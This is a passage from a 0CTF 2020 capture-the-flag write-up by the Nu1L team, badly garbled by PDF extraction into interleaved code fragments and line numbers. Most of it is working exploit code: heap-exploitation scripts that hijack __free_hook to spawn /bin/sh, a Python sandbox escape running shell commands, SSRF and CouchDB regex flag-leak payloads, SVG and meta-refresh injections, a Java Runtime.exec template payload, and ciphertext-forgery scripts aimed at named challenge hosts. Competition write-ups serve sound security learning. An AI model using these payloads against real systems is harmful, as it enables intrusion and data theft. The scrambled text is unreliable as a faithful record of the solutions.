2)+p64(heap+0xe8)+"/bin/sh\x00"+4*p64(__free_hook),r=True) 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 Pybox closureimport oscutflag1/0 update('Text\n',"/bin/sh\n",p64(system)+'\n',r = True) dele_section("/bin/sh\n") p.interactive() 83 84 85 86 #!/usr/bin/env python # -*- coding: utf-8 -*- from pwn import * import string LOCAL = 0 VERBOSE = 0 DEBUG = 0 context.arch = 'amd64' get_length = '''1/(len(__import__.__getattribute__('__clo'+'sure__') [0].cell_contents('o'+'s').__getattribute__('popen')('{}').read())-{})''' get_content = '''1/(ord(__import__.__getattribute__('__clo'+'sure__') [0].cell_contents('o'+'s').__getattribute__('popen')('{}').read()[{}])- {})''' if VERBOSE: context.log_level = 'debug' if LOCAL: io = process('./bin', env={'LD_LIBRARY_PATH': './'}) # libc = ELF('./libc-2.23.so') else: io = remote('47.112.108.17', 12312) # libc = ELF('./libc-2.23.so') if DEBUG: gdb.attach(io, 'b *0x0000000000400F89\n') io.recvuntil('>>>') command = 'echo $(</home/flag)' print 'Running command:', command for length in range(40): io.sendline(get_length.format(command,length)) res = io.recvuntil('>>>') if 'try again' in res: print 'length find:', length break 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 2019 lsb+base64+base85 Upgrade Parser for idx in range(length): for guess in map(ord,string.printable): io.sendline(get_content.format(command,idx,guess)) res = io.recvuntil('>>>') if 'try again' in res: print 'content[{}] = {}'.format(idx, chr(guess)) break 37 38 39 40 41 42 43 44 import struct from hashlib import sha256 f = open('exp.upg','rb') magic = f.read(4) assert magic == '\xAA\xCC\xCC\xAA' record_number = struct.unpack('Q',f.read(8))[0] sig1 = None sig2 = None 1 2 3 4 5 6 7 8 9 10 11 12 13 for record_idx in range(record_number): f.seek(64*(record_idx)+12) content = f.read(64) key = content[:2] res = content[:2] for idx, value in enumerate(content[2:]): res += chr(ord(value)^ord(key[idx%2])) assert res[56:58] == '\xbe\xbe' assert res[54:56] == res[0:2] print `res` type_ = struct.unpack('I',res[4:8])[0] print 'type:',type_ if type_ == 1: off = struct.unpack('Q',res[8:16])[0] print off length = struct.unpack('Q',res[16:24])[0] f.seek(off) content = f.read(length) sha256_std = res[24:24+0x20] sha256_res = sha256(content).hexdigest() assert sha256_res == sha256_std.encode('hex') with open('res.tar.gz','wb') as out: out.write(content) elif type_ == 2: length = struct.unpack('Q',res[16:24])[0] print length assert length == 512 off = struct.unpack('Q',res[8:16])[0] print off f.seek(off) sig1 = f.read(0x200) elif type_ == 3: length = struct.unpack('Q',res[16:24])[0] assert length == 512 off = struct.unpack('Q',res[8:16])[0] print off f.seek(off) sig2 = f.read(0x200) f.close() 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 libarchivepaxunicode archive_read_next_headerARCHIVE_WARNwhilehash1 s0hash import struct from hashlib import sha256 import tarfile with tarfile.open("invalid.tar.gz", "w:gz", format=tarfile.PAX_FORMAT) as tar: tar.add('123', arcname=u'\ud800xyz') tar.add('do_upgrade.sh') with open('invalid.tar.gz', 'rb') as f: payload = f.read() f = open('expppp.upg', 'wb') 1 2 3 4 5 6 7 8 9 10 11 12 f.write('\xAA\xCC\xCC\xAA') f.write(struct.pack('Q', 3)) content = '\x00\x00\x00\x00' off = 204 content += (struct.pack('I', 1)) content += (struct.pack('Q', off)) content += (struct.pack('Q', len(payload))) content += (sha256(payload).hexdigest().decode('hex')) content += '\xbe\xbe' content = content.ljust(64, '0') res = content[54:56] for idx, value in enumerate(content[2:]): res += chr(ord(value) ^ ord(res[idx % 2])) f.write(res) f.seek(off) f.write(payload) f.seek(12+64) content = '\x00\x00\x00\x00' content += (struct.pack('I', 2)) off = 204 + len(payload) content += (struct.pack('Q', off)) content += (struct.pack('Q', 512)) content = content.ljust(54, '0') content += '\x00\x00\xbe\xbe' content = content.ljust(64, '0') f.write(content) f.seek(off) f.write('\0'*512) f.seek(12+64*2) content = '\x00\x00\x00\x00' content += (struct.pack('I', 3)) off = 204 + len(payload) + 512 content += (struct.pack('Q', off)) content += (struct.pack('Q', 512)) content = content.ljust(54, '0') content += '\x00\x00\xbe\xbe' content = content.ljust(64, '0') f.write(content) f.seek(off) 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 do_upgrade.shshell LookAround XXE https://mohemiv.com/all/exploiting-xxe-with-local-dtd-files/ DTDvps/usr/share/xml/fontconfig/fonts.dtd render getoutputstreamread [[${new java.io.BufferedReader(new java.io.InputStreamReader(T(java.lang.Runtime).getRuntime().exec('cat /flag').getInputStream())).readLine()}]] f.write('\0'*512) f.close() 62 63 64 Easy Realworld Challenge Log mblockchain import javax.crypto.Cipher; import javax.crypto.CipherOutputStream; import javax.crypto.spec.SecretKeySpec; import java.io.ByteArrayOutputStream; import java.io.OutputStream; import java.security.Key; import java.security.MessageDigest; 1 2 3 4 5 6 7 8 public class Main { public static void main(String[] args) { System.out.println("Hello World!"); String en = "74f0b165db8a628716b53a9d4f6405980db2f833afa1ed5eeb4304c5220bdc0b541f857a7 348074b2a7775d691e71b490402621e8a53bad4cf7ad4fcc15f20a8066e087fc1b2ffb21c2 7463b5737e34738a6244e1630d8fa1bf4f38b7e71d707425c8225f240f4bd2b03d6c2471e9 00b75154eb6f9dfbdf5a4eca9de5163f9b3ee82959f166924e8ad5f1d744c51416a1db8963 8bb4d1411aa1b1307d88c1fb5"; byte[][] v4 = new byte[10][]; try { for(int i = 0;i < 0x100;i++) { for(int j = 0;j < 0x100;j++) { for(int k = 0;k < 0x100;k++) { v4[0] = hash(new byte[]{(byte)i,(byte)j,(byte)k}); for(int v7 = 1; v7 < 10; ++v7) { v4[v7] = hash(v4[v7-1]); } byte[] v5 = hexToByteArray(en); for(int v7 = 9; v7 >= 0; v7--) { v5 = encrypt(v5, v4[v7]); } int b = v5.length; if(b >0) { String sss = new String(v5); if(sss.startsWith("flag")) System.out.println(sss); } // System.out.println(a); } } System.out.println("1"); } // System.out.println(v4); } catch (Exception a) { System.out.println(a); } 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 Hub 2.27free __free_hook ,puts } public static byte[] hash(byte[] arg2) throws Exception { MessageDigest v0 = MessageDigest.getInstance("MD5"); v0.update(arg2); return v0.digest(); } public static byte[] encrypt(byte[] arg5, byte[] arg6) throws Exception { SecretKeySpec v0 = new SecretKeySpec(arg6, "AES"); Cipher v1; v1 = Cipher.getInstance("AES/ECB/PKCS5Padding"); v1.init(Cipher.DECRYPT_MODE, ((Key)v0)); ByteArrayOutputStream v2 = new ByteArrayOutputStream(); CipherOutputStream v3 = new CipherOutputStream(((OutputStream)v2), v1); v3.write(arg5); v3.flush(); v3.close(); return v2.toByteArray(); } public static byte[] hexToByteArray(String inHex){ int hexlen = inHex.length(); byte[] result; if (hexlen % 2 == 1){ hexlen++; result = new byte[(hexlen/2)]; inHex="0"+inHex; }else { result = new byte[(hexlen/2)]; } int j=0; for (int i = 0; i < hexlen; i+=2){ result[j]=hexToByte(inHex.substring(i,i+2)); j++; } return result; } public static byte hexToByte(String inHex){ return (byte)Integer.parseInt(inHex,16); } } 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 from pwn import * # p = process("./hub") p = remote("47.112.139.218",13132) libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") # context.log_level = 'debug' # context.terminal = ['tmux','sp','-h','-l','120'] sl = lambda x,y:p.sendlineafter(x,y) s = lambda x,y:p.sendafter(x,y) ru = lambda x: p.recvuntil(x,drop=True) def malloc(size): sl(">>",str(1)) sl("How long will you stay?",str(size)) def free(idx): sl(">>",str(2)) sl("Which hub don't you want?",str(idx)) def write(cnt): sl(">>",str(3)) s("What do you want?",cnt) malloc(0x90) malloc(0x80) malloc(0x8) free(0) free(0) malloc(0x48) free(0) for i in range(7): free(-0xb0) free(-0xb0) malloc(0x80) write("\xe8\xc8") free(0xb0) free(0xb0) malloc(0x48) write("\x00") #leaking libc brute malloc(0x48) malloc(0x48) malloc(0x48) write(p64(0x4006A0)) malloc(0x28) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 8v free(0) p.recvuntil('\n') libc.address=u64(p.recv(6).ljust(0x8,'\x00'))-0x3ebd20 log.info("libc.address:"+hex(libc.address)) __free_hook = libc.symbols['__free_hook'] log.info("__free_hook:"+hex(__free_hook)) system = libc.sym['system'] log.info("system:"+hex(system)) malloc(0x38) write(p64(__free_hook)) malloc(0x18) write("\x30") malloc(0x18) malloc(0x18) malloc(0x18) write(p64(system)) malloc(0x108) write("/bin/sh\x00") free(0) p.interactive() 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 function e(a) { var s = '\xd2"\xf1\x8d\xb7\xe0\xd0MF\x87T? \x1fI\x1c\xe7\xcb\x07\xc3\x95z\xb3z\x0b\xbb\xdb\xa1I\xc5;'; var a1 = s; var a2 = new Array(37); var a3 = 88; for(var i=0;i<a.length;i++) { // t = ((a[i].charCodeAt() ^ a3)*65 + 66)%256; var t = a[i].charCodeAt(); // a2 += String.fromCharCode(((a3 ^ t)*35 - 16)%256); a2[i] = (a3 ^ t); a3 = ((a3)*65 + 66)%256; } // console.log(a2); for(var i=29;i>=0;i--) { // t = ((a[i].charCodeAt() ^ a3)*65 + 66)%256; 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 Babycry var t = a2[i]; // a2 += String.fromCharCode(((a3 ^ t)*35 - 16)%256); a2[i] = String.fromCharCode (a3 ^ t); a3 = ((a3)*35 - 16)%256; } // console.log(a2); return a2; } var s = '\xd2"\xf1\x8d\xb7\xe0\xd0MF\x87T? \x1fI\x1c\xe7\xcb\x07\xc3\x95z\xb3z\x0b\xbb\xdb\xa1I\xc5;'; console.log(e(s)); 19 20 21 22 23 24 25 26 27 28 29 from pwn import * context.log_level = 'debug' p = remote('139.9.222.76', 19999) def de(d): p.recvuntil('>') p.sendline('des ' + d) r = p.recvline().strip() return r.decode('hex') guess = 3 flag = '}' for i in xrange(40): ori = de('a' * (guess + len(flag))) l = len(flag)/8 if l == 0: ori = ori[-8:] else: ori = ori[-8 * (l+1) : -8 * l ] padding = '' if l == 0: padding = flag + '_'*(7-len(flag)) else: padding = flag[:7] for j in xrange(0x20,0x80): guessed = chr(j) + padding des = de(guessed)[:8] if des == ori: flag = chr(j) + flag print(flag) break 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
pdf
0CTF WP Author:Nu1L Team 0CTF WP WEB amp2020 easyphp noeasyphp lottery Wechat Generator Pwn eeeeeemoji simple echoserver Chromium RCE Re babymips Happy Tree J w flash-1 Misc eeemoji Cloud Computing Cloud Computing v2 Crypto babyring WEB amp2020 dockerflagenvcouchDBcouchDBHTTP RCE/SSRF axios SSRFWAFWAF SSRFcouchDB flag curl http://aa015267de77493e88c837682b02c5668:[email protected]:5984/aa015 267de77493e88c837682b02c5668/flag AMPHTML (amphtml-validator)cheerio scriptchrome script IP127.0.0.1URLaxios couchDBcouchDBHTTP basic authcookie iframecouchDB(HTMLsrcHTTP basic auth) HTML/XSSchromeaxiosaxios SSRF couchDBleak flag 1. HTML cheerioamphtml-validatorbypass (noscriptiframeamphtml-validator) <script async src="https://cdn.ampproject.org/v0.js"></script> <!doctype html> axios(metatargetiframe axios) 2. SSRFWAF axiosobject input[a]=xxx&input[b]=yyy{"a":"xxx","b":"yyy"}axios <html amp lang="en"> <head> <meta charset="utf-8"> <script async src="https://cdn.ampproject.org/v0.js"></script> <title>Hello, AMPs</title> <link rel="canonical" href="https://amp.dev/documentation/guides-and- tutorials/start/create/basic_markup/"> <meta name="viewport" content="width=device-width,minimum-scale=1,initial- scale=1"> <style amp-boilerplate>body{-webkit-animation:-amp-start 8s steps(1,end) 0s 1 normal both;-moz-animation:-amp-start 8s steps(1,end) 0s 1 normal both;- ms-animation:-amp-start 8s steps(1,end) 0s 1 normal both;animation:-amp-start 8s steps(1,end) 0s 1 normal both}@-webkit-keyframes -amp- start{from{visibility:hidden}to{visibility:visible}}@-moz-keyframes -amp- start{from{visibility:hidden}to{visibility:visible}}@-ms-keyframes -amp- start{from{visibility:hidden}to{visibility:visible}}@-o-keyframes -amp- start{from{visibility:hidden}to{visibility:visible}}@keyframes -amp- start{from{visibility:hidden}to{visibility:visible}}</style><noscript><style amp-boilerplate>body{-webkit-animation:none;-moz-animation:none;-ms- animation:none;animation:none}</style></noscript> </head> <body> <h1>Welcome to the mobile web</h1> <!-- bug here --> <noscript> <iframe src="https://aa.com"> </noscript> <!-- inject html tag here --> <meta http-equiv="refresh" content="0; url='http://i_want_a_girl_friend/insert'"> </noscript> </body> </html> else if (body.type === 'url') { try { const ret = await axios(body.input, { timeout: 5000 }) input = ret.data } catch (e) { res.status(500) axiosIPWAF HTTP code 307POSTPUTtarget 3. leak flag flagleak axiosinput amp html couchdbjsonaxiosparse cheeriojson parse objectstringscript axios maxContentLength throw axioserror ?input[method]=POST &input[maxRedirects]=5 &input[url]=http://iwantaggirlfriend/rd.php?type=aaa &input[data][test] = test couchDBregexpflagflag maxContentLength flag exploit <!doctype html> <html amp lang="en"> <head> <meta charset="utf-8"> <script async src="https://cdn.ampproject.org/v0.js"></script> <title>Hello, AMPs</title> <link rel="canonical" href="https://amp.dev/documentation/guides-and- tutorials/start/create/basic_markup/"> <meta name="viewport" content="width=device-width,minimum-scale=1,initial- scale=1"> <style amp-boilerplate>body{-webkit-animation:-amp-start 8s steps(1,end) 0s 1 normal both;-moz-animation:-amp-start 8s steps(1,end) 0s 1 normal both;- ms-animation:-amp-start 8s steps(1,end) 0s 1 normal both;animation:-amp-start 8s steps(1,end) 0s 1 normal both}@-webkit-keyframes -amp- start{from{visibility:hidden}to{visibility:visible}}@-moz-keyframes -amp- start{from{visibility:hidden}to{visibility:visible}}@-ms-keyframes -amp- start{from{visibility:hidden}to{visibility:visible}}@-o-keyframes -amp- start{from{visibility:hidden}to{visibility:visible}}@keyframes -amp- start{from{visibility:hidden}to{visibility:visible}}</style><noscript><style amp-boilerplate>body{-webkit-animation:none;-moz-animation:none;-ms- animation:none;animation:none}</style></noscript> </head> <body> <h1>Welcome to the mobile web</h1> <noscript><iframe src="https://aa.com"></noscript> <meta http-equiv="refresh" content="0; url='http://ebcece08.n0p.co/insert#^fla'"></noscript> </body> </html> /insert <html> <script> function create_iframe(id,src,w,h){ var ifrm = document.createElement("iframe"); ifrm.setAttribute("src", src); ifrm.style.width = w; ifrm.style.height = h; ifrm.id = id; document.body.appendChild(ifrm); } function exploit_couchdb(){ var guesschar = location.hash.slice(1); document.getElementById("aa")["input[data][selector][flag] [$regex]"].value = guesschar; document.getElementById("aa").submit(); } window.onload = function do_exp (){ create_iframe("login","http://ebcece08.n0p.co/login","0px","0px"); // login setTimeout("exploit_couchdb()",300); // exploit } /* type=url& input[maxRedirects]=5 &input[url]=http://118.24.185.108/rd.php?type=aaa &input[maxContentLength]=200 &input[method]=POST &input[data][selector][flag][$regex]=^a &input[data][fields][0]=flag &input[data][fields][1]=_rev &input[data][fields][2]=_id */ </script> <body> <form id="aa" method="post" action="http://127.0.0.1:3000/validator"> <input name="type" value = "url"> <input name="input[maxRedirects]" value = "5"> <input name="input[url]" value = "http://118.24.185.108/rd.php?type=aaa"> <input name="input[maxContentLength]" value = "200"> <input name="input[method]" value = "post"> /login diffbase64 <input name="input[data][selector][flag][$regex]" value = "^"> <input name="input[data][fields][0]" value = "flag"> <input name="input[data][fields][1]" value = "_rev"> <input name="input[data][fields][2]" value = "_id"> </form> </body> </html> <html> <script> window.onload = function aa (){ document.getElementById("aa").submit(); } </script> <body> <form id="aa" method="post" action="http://127.0.0.1:3000/users/login"> <input name="username" value = "iwantagirlfriend"> <input name="password" value = "iwantagirlfriend"> </form> aaaaa </body> </html> import requests import json import string r = requests.session() def login(): burp0_url = "http://pwnable.org:33000/users/login" burp0_headers = {"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:56.0) Gecko/20100101 Firefox/56.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept- Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3", "Accept-Encoding": "gzip, deflate", "Referer": "http://pwnable.org:33000/users/login", "Content-Type": "application/x-www-form-urlencoded", "Connection": "close", "Upgrade-Insecure- Requests": "1"} burp0_data = {"username": "wupco", "password": "wupco"} r.post(burp0_url, headers=burp0_headers , data=burp0_data) def exploit(guesschar): login() burp0_url = "http://pwnable.org:33000/validator" burp0_headers = {"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:56.0) Gecko/20100101 Firefox/56.0", "Accept": "*/*", "Accept- Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3", "Accept-Encoding": "gzip, deflate", "Referer": "http://pwnable.org:33000/", "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", "X-Requested-With": "XMLHttpRequest", "Connection": "close"} burp0_data = {"type": "text", "input": "<!doctype html>\n<html amp lang=\"en\">\n <head>\n <meta charset=\"utf-8\">\n <script async src=\"https://cdn.ampproject.org/v0.js\"></script>\n <title>Hello, AMPs</title>\n <link rel=\"canonical\" href=\"https://amp.dev/documentation/guides-and- tutorials/start/create/basic_markup/\">\n <meta name=\"viewport\" content=\"width=device-width,minimum-scale=1,initial-scale=1\">\n <style amp-boilerplate>body{-webkit-animation:-amp-start 8s steps(1,end) 0s 1 normal both;-moz-animation:-amp-start 8s steps(1,end) 0s 1 normal both;-ms- animation:-amp-start 8s steps(1,end) 0s 1 normal both;animation:-amp-start 8s steps(1,end) 0s 1 normal both}@-webkit-keyframes -amp- start{from{visibility:hidden}to{visibility:visible}}@-moz-keyframes -amp- start{from{visibility:hidden}to{visibility:visible}}@-ms-keyframes -amp- start{from{visibility:hidden}to{visibility:visible}}@-o-keyframes -amp- start{from{visibility:hidden}to{visibility:visible}}@keyframes -amp- start{from{visibility:hidden}to{visibility:visible}}</style><noscript><style amp-boilerplate>body{-webkit-animation:none;-moz-animation:none;-ms- animation:none;animation:none}</style></noscript>\n </head>\n <body>\n <h1>Welcome to the mobile web</h1>\n <noscript><iframe src=\"https://aa.com\"></noscript>\n <meta http-equiv=\"refresh\" content=\"0; url='http://ebcece08.n0p.co/insert#^"+ guesschar +"'\"> </noscript>\n </body>\n</html>"} data = r.post(burp0_url, headers=burp0_headers, data=burp0_data).text return json.loads(data)["image"] flagchar = string.ascii_lowercase +"}{_" +string.digits +string.ascii_uppercase flag = "" #flag{t4ke_a_google_amp_screensh0t_and_fell_into_millions_pit} for i in range(140): j = 0 while j < len(flagchar): print("trying "+flagchar[j]) tmpflag = flag + flagchar[j] res = exploit(tmpflag).encode('utf8') if ('AAQBoBAgAApBEgAABAGgECAACkESAAAEAaAQIAAKQRIAAAQBoBAgAApBEgAABAGgECAACkESAAAE AaAQIAAKQRIAAAQBoBAgAApBEgAABAGgECAACkESAAAEAaAQIAAKQRIAAAQBoBAgAApBEgAABAGgEC AACkESAAAEAaAQIAAKQRIAAAQBoBAgAApBEgAABAGgECAACkESAAAEAaAQIAAKQRIAAAQBoBAgAApB EgAABAGgECAACk+X/+nVRIR1Q8XgAAAABJRU5ErkJggg==') in res: j = j + 1 continue easyphp noeasyphp elif ("QIwAAQAAYgQIAAAQI0AAAIAYAQIAAMQIEAAAIEaAAAAAMf8FSuHE6bm7erQAAAAASUVORK5CYII= ") in res: flag += flagchar[j] print(flag) break else: j = j continue print_r(FFI::string($aa-%3E())); lottery enclotterycoinblock size16ecb http://pwnable.org:2333/lottery/infoenc base6448 lotterylottery rh=eval(base64_decode('JGZsYWc9RkZJOjpsb2FkKCIvZmxhZy5oIik7JGNoYXI9JGZsYWctPm5 ldygiY2hhclsweDMwXSIsZmFsc2UpOyRjaGFyPUZGSTo6YWRkcigkY2hhcik7RkZJOjpmcmVlKCRja GFyKTskbG9hZGZsYWc9RkZJOjpsb2FkKCIvZmxhZy5oIik7cHJpbnRfcigkY2hhcik7')); object(FFI\CData:char(*)[88])#3 (1) { [0]=> object(FFI\CData:char[88])#5 (88) { [0]=> string(1) "•" [1]=> string(1) "" [2]=> string(1) "" [3]=> string(1) "" [4]=> string(1) "8" [5]=> string(1) "•" [6]=> string(1) "" [7]=> string(1) "" [8]=> string(1) "•" [9]=> string(1) "" [10]=> string(1) "" [11]=> string(1) "" [12]=> string(1) "L" [13]=> string(1) "I" [14]=> string(1) "B" [15]=> string(1) " " [16]=> string(1) "" [17]=> string(1) " " [18]=> string(1) " " [19]=> string(1) " " [20]=> string(1) " " [21]=> string(1) "U" [22]=> string(1) "" [23]=> string(1) "" [24]=> string(1) "" [25]=> string(1) " " [26]=> string(1) "•" [27]=> string(1) "•" [28]=> string(1) "]" [29]=> string(1) "•" [30]=> string(1) "" [31]=> string(1) "" [32]=> string(1) "" [33]=> string(1) "" [34]=> string(1) "" [35]=> string(1) "" [36]=> string(1) "" [37]=> string(1) "" [38]=> string(1) "" [39]=> string(1) "" [40]=> string(1) "C" [41]=> string(1) "O" [42]=> string(1) "P" [43]=> string(1) "E" [44]=> string(1) " " [45]=> string(1) """ [46]=> string(1) "f" [47]=> string(1) "l" [48]=> string(1) "a" [49]=> string(1) "g" [50]=> string(1) "" [51]=> string(1) " " [52]=> string(1) " " [53]=> string(1) "c" [54]=> string(1) "h" [55]=> string(1) "a" [56]=> string(1) "@" [57]=> string(1) "a" [58]=> string(1) " " [59]=> string(1) "•" [60]=> string(1) "]" [61]=> string(1) "•" [62]=> string(1) "" [63]=> string(1) "" [64]=> string(1) "`" [65]=> string(1) "`" [66]=> string(1) " " [67]=> string(1) "•" [68]=> string(1) "]" [69]=> string(1) "•" [70]=> string(1) "" [71]=> string(1) "" [72]=> string(1) "a" [73]=> string(1) "p" [74]=> string(1) "A" [75]=> string(1) "3" [76]=> string(1) "H" [77]=> string(1) "1" [78]=> string(1) "(" [79]=> string(1) ")" [80]=> string(1) "•" [81]=> string(1) "" [82]=> string(1) "" [83]=> string(1) "" [84]=> string(1) "" [85]=> string(1) "" [86]=> string(1) "" [87]=> string(1) "" } } print_r(FFI::string($aa-%3Eflag_wAt3_uP_apA3H1())); import requests import base64 import random import string table = string.ascii_lowercase + string.digits Wechat Generator mine = '4EGLYPQmvDYL3T0csTrb/UasaeUAwnNRSsj7+v2O317kWrVccOQLjT5mEsSts+E1JlJbZW06kKjoW 2+5AurC8B+gWLiDN9cG6AwpqubnB/fW0QabiQ17JLgIDt6eiasHPdUqULBnKVY0eePPLv02MPhIZnV HgXwIkkuehhS/11g=' def register(): username = 'Q7_' + ''.join([random.choice(table) for _ in range(5)]) return requests.post('http://pwnable.org:2333/user/register', {'username': username, 'password': ''}).json()['user'] def login(s, username): return s.post('http://pwnable.org:2333/user/login', {'username': username, 'password': ''}).json()['user'] def buy(api_token): return requests.post('http://pwnable.org:2333/lottery/buy', {'api_token': api_token}).json() def lottery_info(enc): return requests.post('http://pwnable.org:2333/lottery/info', {'enc': enc}).json()['info'] def charge(enc, coin): return requests.post('http://pwnable.org:2333/lottery/charge', {'enc': enc, 'coin': coin, 'user': '2040dfa8-f481-482a-913e-0da8f5ef0304'}).json() while True: print('='*30) user = register() username = user['username'] s = requests.session() user = login(s, username) api_token = user['api_token'] uuid = user['uuid'] print(user) for _ in range(3): enc = buy(api_token)['enc'] info = lottery_info(enc) if(info['lottery'].endswith('f6')): print(enc) fake = base64.b64encode(base64.b64decode(enc)[:48] + base64.b64decode(mine)[48:]) print(charge(fake, info['coin'])) import requests import base64 /app/app.py /SUp3r_S3cret_URL def preview(data): url = "http://pwnable.org:5000/preview" resp = requests.post(url, data={"data": data}) return resp.json() def share(id): url = "http://pwnable.org:5000/share" resp = requests.post(url, data={"previewid" : id}, allow_redirects=False) return resp.json() if __name__ == "__main__": data = """ [{"type":0,"message":"Love you!"},{"type":1,"message":"Me too!!!"}, {"type":0,"message":"My Message[smile.png\\\" /><image xlink:href=\\\"text:/proc/self/cmdline\\\" x=\\\"0\\\" y=\\\"0\\\" height=\\\"640px\\\" width=\\\"480px\\\" /><image x=\\\"500\\\" y=\\\"500\\\" height=\\\"0px\\\" width=\\\"0px\\\" xlink:href=\\\"http://pwnable.org:5000/static/emoji/smile]"}] """ js = preview(data) print(js["data"]) xml = js["data"].split("data:image/svg+xml;base64,")[1] print(base64.b64decode(xml)) print(js["previewid"]) url = share(js["previewid"])["url"] print("http://pwnable.org:5000/image/"+url[-6:]+"/png") data = """ [{"type":0,"message":"My Message[smile.png\\\" /> <image x=\\\"0\\\" y=\\\"0\\\" height=\\\"640px\\\" width=\\\"580px\\\" xlink:href=\\\"text:/proprocc/self/fd/3\\\" /> <image x=\\\"0\\\" y=\\\"0\\\" height=\\\"0px\\\" width=\\\"0px\\\" xlink:href=\\\"https://d7cb7b72.n0p.co/test]"}] """ http://pwnable.org:5000/SUp3r_S3cret_URL/0Nly_4dM1n_Kn0ws alert(1)flag src|proc|env|meta Content-Type http://pwnable.org:5000/image/OStWDv/png http://pwnable.org:5000/image/OStWDv/svg http://pwnable.org:5000/image/OStWDv/htm cspsvg <script> jshtm html <memetata http-equiv="Refresh" content="0; url=http://hacker.com/alert.html"/> cspalert(1) Pwn eeeeeemoji data = """ [{"type":0,"message":"Love you!"},{"type":1,"message":"Me too!!!"}, {"type":0,"message":"My Message[smile.png\\\\\\" /><memetata http- equiv=\\\\\\"Refresh\\\\\\" content=\\\\\\"0; url=http://hacker.com/alert.html\\\\\\"/><image x=\\\\\\"500\\\\\\" y=\\\\\\"500\\\\\\" height=\\\\\\"0px\\\\\\" width=\\\\\\"0px\\\\\\" xlink:href=\\\\\\"<http://pwnable.org:5000/static/emoji/smile>]"}] """ from pwn import * #p = process('./emoji') p = remote('pwnable.org', 31323) def convaddr(a): f = ord(a[0]) if f & 0b11111100 == 0b11111100: ans = ((ord(a[0])&0b1)<<30) | ((ord(a[1])&0b00111111)<<24) | ((ord(a[2])&0b00111111)<<18)| ((ord(a[3])&0b00111111)<<12)| ((ord(a[4])&0b00111111)<<6)|((ord(a[5])&0b00111111)) ans2 = ((ord(a[6])&0b111)<<12) |((ord(a[7])&0b00111111)<<6) | ((ord(a[8])&0b00111111)) return (ans2 << 32) | ans elif f & 0b11111000 == 0b11111000: ans = ((ord(a[0])&0b11)<<24) |((ord(a[1])&0b00111111)<<18)| ((ord(a[2])&0b00111111)<<12)|((ord(a[3])&0b00111111)<<6)| ((ord(a[4])&0b00111111)) ans2 = ((ord(a[5])&0b111)<<12) | ((ord(a[6])&0b00111111)<<6) | ((ord(a[7])&0b00111111)) return (ans2 << 32) | ans def addrconv(a): a = a & 0xffffffff bits = bin(a)[2:] l = len(bits) if 7<l<=11: b1 = int('10'+bits[-6:],2) b2 = int('110'+bits[:-6].rjust(5,'0'),2) conved = chr(b2) + chr(b1) return conved if 11< l <=16: b1 = int('10'+bits[-6:],2) b2 = int('10'+bits[-12:-6],2) b3 = int('1110'+bits[:-12].rjust(4,'0'),2) conved = chr(b3) + chr(b2) + chr(b1) return conved elif 16<l<=18: b1 = int('10'+bits[-6:],2) b2 = int('10'+bits[-12:-6],2) b3 = int('10'+bits[:-12].rjust(6,'0'),2) b4 = 0b11110000 conved = chr(b4) + chr(b3) + chr(b2) + chr(b1) return conved elif 18<l<=21: b1 = int('10'+bits[-6:],2) b2 = int('10'+bits[-12:-6],2) b3 = int('10'+bits[-18:-12],2) b4 = int('11110'+bits[:-18].rjust(3,'0'),2) conved = chr(b4) + chr(b3) + chr(b2) + chr(b1) return conved elif 21<l<=24: b1 = int('10'+bits[-6:],2) b2 = int('10'+bits[-12:-6],2) b3 = int('10'+bits[-18:-12],2) b4 = int('10'+bits[:-18].rjust(6,'0'),2) b5 = 0b11111000 conved = chr(b5) + chr(b4) + chr(b3) + chr(b2) + chr(b1) return conved elif 24<l<=26: b1 = int('10'+bits[-6:],2) b2 = int('10'+bits[-12:-6],2) b3 = int('10'+bits[-18:-12],2) b4 = int('10'+bits[-24:-18],2) b5 = int('111110'+bits[:-24].rjust(2,'0'),2) conved = chr(b5) + chr(b4) + chr(b3) + chr(b2) + chr(b1) return conved elif 26<l<=30: b1 = int('10'+bits[-6:],2) b2 = int('10'+bits[-12:-6],2) b3 = int('10'+bits[-18:-12],2) b4 = int('10'+bits[-24:-18],2) b5 = int('10'+bits[:-24].rjust(6,'0'),2) b6 = 0b11111100 conved = chr(b6) + chr(b5) + chr(b4) + chr(b3) + chr(b2) + chr(b1) return conved elif l>30: b1 = int('10'+bits[-6:],2) b2 = int('10'+bits[-12:-6],2) b3 = int('10'+bits[-18:-12],2) b4 = int('10'+bits[-24:-18],2) b5 = int('10'+bits[-30:-24],2) b6 = int('1111110'+bits[:-30].rjust(1,'0'),2) conved = chr(b6) + chr(b5) + chr(b4) + chr(b3) + chr(b2) +chr(b1) return conved BEER = '\xf0\x9f\x8d\xba' BULL = 